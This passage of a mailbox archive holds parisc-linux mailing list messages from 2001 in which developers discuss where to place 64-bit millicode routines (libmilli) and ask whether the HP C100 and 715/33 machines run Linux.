  by mailserv2.iuinc.com with SMTP; 3 Jan 2001 04:11:49 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA24176;
	Wed, 3 Jan 2001 15:11:33 +1100
In-Reply-To: <1895.978493055@upchuck>
Xref: news.gmane.org gmane.linux.ports.parisc:9084

On Tue, 2 Jan 2001, Jeffrey A Law wrote:

> 
> 
>   In message <Pine.LNX.4.21.0101031235310.24351-100000@front.linuxcare.com.au>y
> ou write:
>   > The real reason that we currently need separate millicode routines for
>   > each shared lib is that linkage to millicode functions is different than
>   > for normal functions.  In particular, you don't want to load r19 (32 bit
>   > case) or r27 (64 bit case) when calling millicode.  Therefore, a shared
>   > millicode lib would require special .plt entries.  Not too hard to do,
>   > just a bit messy.
> So what happens in this case.
> 
> Pretend shared library A references $$div from the millicode routines.  Also
> assume that the main program does not reference $$div.  Also assume that
> the shared library is _not_ referenced on the link line for the main
> program, but instead is sucked in via dl_open calls.

Ah, but that's where the automagic linker search for libmilli come into
play.  Effectively, libmilli is always mentioned on the "command line"

> The shared library will have an undefined reference for $$div which can't
> be satisfied and will terminate the application if we execute a path in
> the shared library which calls $$div.
> 
> 
> jeff
> 

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Tue, 02 Jan 2001 21:15:51 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <2276.978495351@upchuck>
References: <Pine.LNX.4.21.0101031509470.24351-100000@front.linuxcare.com.au>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619494 9639 80.91.229.3 (22 Nov 2014 01:24:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:54 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: law@upchuck.cygnus.com  Tue Jan  2 21:16:01 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA08650
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 21:16:01 -0700
Original-Received: (qmail 3611 invoked by uid 15267); 3 Jan 2001 04:19:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3599 invoked from network); 3 Jan 2001 04:19:21 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 3 Jan 2001 04:19:21 -0000
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id UAA10422
	for <parisc-linux@thepuffingroup.com>; Tue, 2 Jan 2001 20:19:19 -0800 (PST)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id VAA02279;
	Tue, 2 Jan 2001 21:15:51 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Wed, 03 Jan 2001 15:11:33 +1100.
             <Pine.LNX.4.21.0101031509470.24351-100000@front.linuxcare.com.au> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9085


  In message <Pine.LNX.4.21.0101031509470.24351-100000@front.linuxcare.com.au>y
ou write:
  > Ah, but that's where the automagic linker search for libmilli come into
  > play.  Effectively, libmilli is always mentioned on the "command line"
Does this automagic search also happen when you build shared libraries?

[ Yes, I'm very familiar with HP's automagic searching for libmilli.a.  I also
  think it's a terrible mistake as a design decision. ]

jeff


From - Thu Nov 08 21:14:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Wed, 3 Jan 2001 15:44:58 +1100 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101031532370.24351-100000@front.linuxcare.com.au>
References: <2276.978495351@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619494 9642 80.91.229.3 (22 Nov 2014 01:24:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:54 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Jeffrey A Law <law@redhat.com>
Original-X-From: alan@linuxcare.com.au  Tue Jan  2 21:42:14 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA09054
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 21:42:13 -0700
Original-Received: (qmail 25903 invoked by uid 15267); 3 Jan 2001 04:45:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25876 invoked from network); 3 Jan 2001 04:45:33 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 3 Jan 2001 04:45:33 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA24877;
	Wed, 3 Jan 2001 15:44:58 +1100
In-Reply-To: <2276.978495351@upchuck>
Xref: news.gmane.org gmane.linux.ports.parisc:9086

On Tue, 2 Jan 2001, Jeffrey A Law wrote:

>   In message <Pine.LNX.4.21.0101031509470.24351-100000@front.linuxcare.com.au>y
> ou write:
>   > Ah, but that's where the automagic linker search for libmilli come into
>   > play.  Effectively, libmilli is always mentioned on the "command line"
> Does this automagic search also happen when you build shared libraries?

Yes.  shared libs thus get their own copy of millicode routines.

> [ Yes, I'm very familiar with HP's automagic searching for libmilli.a.  I also
>   think it's a terrible mistake as a design decision. ]

I'm not particularly enthusiastic about the idea either.  It seemed to be
the best solution in the face of a number of packages that "know" libgcc
isn't needed when linking certain programs.  eg. linux kernel, binutils
testsuite.  The alternatives are
  a) fix all the affected packages
  b) modify linker scripts
  c) magic inbuilt linker behaviour.

a) has the unfortunate effect of making hppa seem like the ugly duckling,
at least until all affected packages on the planet are fixed.
b) doesn't work with custom linker scripts.

I'm all ears for a better solution.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [newbie] C100 Support?
Date: Wed, 3 Jan 2001 13:49:29 -0600 (CST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101031344450.13474-100000@maestro.symsys.com>
References: <200101031940.MAA15537@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619495 9646 80.91.229.3 (22 Nov 2014 01:24:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:55 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ingram@symsys.com  Wed Jan  3 12:46:09 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA15655
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 Jan 2001 12:46:08 -0700
Original-Received: (qmail 26000 invoked by uid 15267); 3 Jan 2001 19:49:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25977 invoked from network); 3 Jan 2001 19:49:30 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 3 Jan 2001 19:49:30 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id NAA13592
	for <parisc-linux@thepuffingroup.com>; Wed, 3 Jan 2001 13:49:29 -0600
In-Reply-To: <200101031940.MAA15537@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9087


Gentlemen,

I have an opportunity to pick up a C100.  I've perused the website and
searched some of the mail archives.  Unfortunately, since I don't have the
machine yet and don't know anything about the platform, I haven't really
found the answers to my questions, which are:

Is it supported?  Does ethernet work?  Do the graphics work?  I'm led to
believe this model will drive an ordinary PC monitor.  Is that right?  Is
the C100 a 64-bit machine?

Regards,

- Greg



From - Thu Nov 08 21:14:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [newbie] C100 Support?
Date: Wed, 03 Jan 2001 12:41:53 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <200101032041.MAA28685@milano.cup.hp.com>
References: <Pine.LNX.4.21.0101031344450.13474-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619495 9648 80.91.229.3 (22 Nov 2014 01:24:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: grundler@cup.hp.com  Wed Jan  3 13:37:08 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA17200
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 Jan 2001 13:37:07 -0700
Original-Received: (qmail 11101 invoked by uid 15267); 3 Jan 2001 20:40:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11065 invoked from network); 3 Jan 2001 20:40:28 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 3 Jan 2001 20:40:28 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id E2002F96; Wed,  3 Jan 2001 12:40:26 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA28685;
	Wed, 3 Jan 2001 12:41:55 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 03 Jan 2001 13:49:29 PST."
             <Pine.LNX.4.21.0101031344450.13474-100000@maestro.symsys.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9088

Greg Ingram wrote:
> Is it supported?  Does ethernet work?  Do the graphics work?  I'm led to
> believe this model will drive an ordinary PC monitor.  Is that right?  Is
> the C100 a 64-bit machine?

yes (mostly), yes, not yet (afaik), yes, no.

grant


Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Wed, 03 Jan 2001 21:04:25 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <8186.978581065@upchuck>
References: <Pine.LNX.4.21.0101031532370.24351-100000@front.linuxcare.com.au>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619495 9650 80.91.229.3 (22 Nov 2014 01:24:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:55 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: law@upchuck.cygnus.com  Wed Jan  3 21:54:41 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA19964
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 Jan 2001 21:54:41 -0700
Original-Received: (qmail 12710 invoked by uid 15267); 4 Jan 2001 04:57:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12702 invoked from network); 4 Jan 2001 04:57:51 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2001 04:57:51 -0000
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id UAA10555
	for <parisc-linux@thepuffingroup.com>; Wed, 3 Jan 2001 20:57:49 -0800 (PST)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id VAA08189;
	Wed, 3 Jan 2001 21:04:25 -0700
In-reply-to: Your message of Wed, 03 Jan 2001 15:44:58 +1100.
             <Pine.LNX.4.21.0101031532370.24351-100000@front.linuxcare.com.au> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9089


  In message <Pine.LNX.4.21.0101031532370.24351-100000@front.linuxcare.com.au>y
  > I'm not particularly enthusiastic about the idea either.  It seemed to be
  > the best solution in the face of a number of packages that "know" libgcc
  > isn't needed when linking certain programs.  eg. linux kernel, binutils
  > testsuite.  The alternatives are
  >   a) fix all the affected packages
  >   b) modify linker scripts
  >   c) magic inbuilt linker behaviour.
But I would consider those very special cases and wouldn't want to pollute
the linker to work around those special cases.

The easiest (to me) solution is to put the routines into the system C
library.  You'd drop the special millcode conventions, but that's a
small price given that the only ones you probably call with any
regularity are div/mod in which case the cost of reloading the pic
registers is dwarfed by cost of the divide.

Then for the kernel you just put the needed routines (probably just
$$div, $$divU, $$rem, $$remU) into arch/parisc/support.S.

jeff


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugo van der Kooij <hvdkooij@caiw.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hi
Date: Fri, 14 May 1999 20:49:06 +0200 (CEST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9905142045210.743-100000@bastion.nl3155vj16.vanderkooij.org>
References: <Pine.LNX.3.96.990514102417.5705B-100000@data.innotrac.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619496 9676 80.91.229.3 (22 Nov 2014 01:24:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:56 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Tom Javen <tomja@InnoTrac.fi>
Original-X-From: hvdkooij@caiw.nl  Fri May 14 12:49:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA19357
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 May 1999 12:49:41 -0600
Original-Received: (qmail 20411 invoked by uid 15267); 14 May 1999 18:49:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20398 invoked from network); 14 May 1999 18:49:10 -0000
Original-Received: from k3nw192.dial.kabelfoon.nl (HELO bastion.nl3155vj16.vanderkooij.org) (195.193.24.192)
  by mailserv2.iuinc.com with SMTP; 14 May 1999 18:49:10 -0000
Original-Received: from bastion.nl3155vj16.vanderkooij.org (bastion.nl3155vj16.vanderkooij.org [192.168.100.254])
	by bastion.nl3155vj16.vanderkooij.org (8.9.1a/8.9.1) with ESMTP id UAA01397;
	Fri, 14 May 1999 20:49:06 +0200
X-Sender: hvdkooij@bastion.nl3155vj16.vanderkooij.org
In-Reply-To: <Pine.LNX.3.96.990514102417.5705B-100000@data.innotrac.fi>
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
Xref: news.gmane.org gmane.linux.ports.parisc:9090

On Fri, 14 May 1999, Tom Javen wrote:

> On Wed, 12 May 1999, Matthew Wilcox wrote:
> 
> > On Wed, May 12, 1999 at 01:00:04PM -0700, Grant Grundler wrote:
> > > Mathew can also download and try to install the PA-mklinux.
> > > I have this running on a 712/60 now. I suggest this because
> > > I don't know how accessible HP-UX bits are to the general public.
> > > HP-UX is usually distributed on CD-ROM these days.
> > 
> > Alas, no.  The 715/33 is the one machine that mklinux does not support;
> > I looked at that about 6 months ago.
> Have you looked at OpenBSD ?

I don't know wether he did. But I was unable to find anything beyond HP-UX
to run on the HP 715/33 hardware. So I am hoping this machine will join
the TUX family before the end of this year. (Not intended to push anyone
but I am rather optimistic now some of the persons with intimate kernel
knowledge are part of the team.)

Hugo.

-- 
Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ  Maasland
hvdkooij@caiw.nl		 http://www.caiw.nl/~hvdkooij
-------------------------------------------------------------
Use of any of my email addresses for unsollicited (commercial)
    email is a clear intrusion of my privacy and illegal!


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Thu, 4 Jan 2001 16:20:37 +1100 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101041608490.15554-100000@front.linuxcare.com.au>
References: <8186.978581065@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619496 9911 80.91.229.3 (22 Nov 2014 01:24:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:56 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Jeffrey A Law <law@redhat.com>
Original-X-From: alan@linuxcare.com.au  Wed Jan  3 22:17:40 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA20406
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 Jan 2001 22:17:40 -0700
Original-Received: (qmail 32606 invoked by uid 15267); 4 Jan 2001 05:21:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32580 invoked from network); 4 Jan 2001 05:21:01 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2001 05:21:01 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA28355;
	Thu, 4 Jan 2001 16:20:37 +1100
In-Reply-To: <8186.978581065@upchuck>
Xref: news.gmane.org gmane.linux.ports.parisc:9091

On Wed, 3 Jan 2001, Jeffrey A Law wrote:

> The easiest (to me) solution is to put the routines into the system C
> library.  You'd drop the special millcode conventions, but that's a

How about $$dyncall?  Wouldn't loading r19/r29 break this function?  I'm
thinking of the case where $$dyncall is passed the address of a local
function rather than a plabel.  We wouldn't want to load r19/r29 with the
value for a shared libgcc.

> small price given that the only ones you probably call with any
> regularity are div/mod in which case the cost of reloading the pic
> registers is dwarfed by cost of the divide.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Thu, 4 Jan 2001 01:18:48 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200101040618.BAA05609@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0101041608490.15554-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619496 9916 80.91.229.3 (22 Nov 2014 01:24:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:56 +0000 (UTC)
Cc: law@redhat.com, bame@fc.hp.com, parisc-linux@thepuffingroup.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jan  3 23:15:36 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA20906
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 Jan 2001 23:15:36 -0700
Original-Received: (qmail 13294 invoked by uid 15267); 4 Jan 2001 06:18:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13275 invoked from network); 4 Jan 2001 06:18:57 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2001 06:18:57 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id BAA05609;
	Thu, 4 Jan 2001 01:18:48 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0101041608490.15554-100000@front.linuxcare.com.au> from "Alan Modra" at Jan 4, 2001 04:20:37 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9092

> On Wed, 3 Jan 2001, Jeffrey A Law wrote:
> 
> > The easiest (to me) solution is to put the routines into the system C
> > library.  You'd drop the special millcode conventions, but that's a
> 
> How about $$dyncall?  Wouldn't loading r19/r29 break this function?  I'm
> thinking of the case where $$dyncall is passed the address of a local
> function rather than a plabel.  We wouldn't want to load r19/r29 with the
> value for a shared libgcc.

Could this and maybe some of the other short milli routines be compiler
"builtins"?  This would allow inlining.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Thu, 4 Jan 2001 18:03:25 +1100 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101041753580.15554-100000@front.linuxcare.com.au>
References: <200101040618.BAA05609@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619497 9919 80.91.229.3 (22 Nov 2014 01:24:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:57 +0000 (UTC)
Cc: law@redhat.com, bame@fc.hp.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: alan@linuxcare.com.au  Thu Jan  4 00:00:21 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA21374
	for <parisc-linux@puffin.external.hp.com>; Thu, 4 Jan 2001 00:00:21 -0700
Original-Received: (qmail 13972 invoked by uid 15267); 4 Jan 2001 07:03:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13952 invoked from network); 4 Jan 2001 07:03:42 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2001 07:03:42 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA31284;
	Thu, 4 Jan 2001 18:03:25 +1100
In-Reply-To: <200101040618.BAA05609@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:9093

On Thu, 4 Jan 2001, John David Anglin wrote:

>[about $$dyncall]
> Could this and maybe some of the other short milli routines be compiler
> "builtins"?  This would allow inlining.

I don't see why not.  It could be done by expanding all the $$dyncall
references in pa.c and pa.md

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Thu, 04 Jan 2001 09:36:33 -0700
Lines: 7
Approved: news@gmane.org
Message-ID: <E14EDNR-00024o-00@noam.fc.hp.com>
References: <Pine.LNX.4.21.0101041753580.15554-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619497 9922 80.91.229.3 (22 Nov 2014 01:24:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:57 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, law@redhat.com,
        parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: bame@fc.hp.com  Thu Jan  4 09:33:14 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA25188
	for <parisc-linux@puffin.external.hp.com>; Thu, 4 Jan 2001 09:33:13 -0700
Original-Received: (qmail 12300 invoked by uid 15267); 4 Jan 2001 16:36:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12288 invoked from network); 4 Jan 2001 16:36:36 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2001 16:36:36 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 109F97CE; Thu,  4 Jan 2001 11:36:35 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id JAA06421;
	Thu, 4 Jan 2001 09:36:34 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14EDNR-00024o-00; Thu, 04 Jan 2001 09:36:33 -0700
In-Reply-To: Your message of "Thu, 04 Jan 2001 18:03:25 +1100."
             <Pine.LNX.4.21.0101041753580.15554-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:9094


For hppa64-linux it appears the only millicode we're using is $$div*
and $$rem*, not $$dyncall nor $sh_func_adrs.  Let me know if I should
be porting anything other thatn div/rem -- thanks.

	-Paul Bame


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Thu, 04 Jan 2001 10:06:49 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <11550.978628009@upchuck>
References: <E14EDNR-00024o-00@noam.fc.hp.com>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
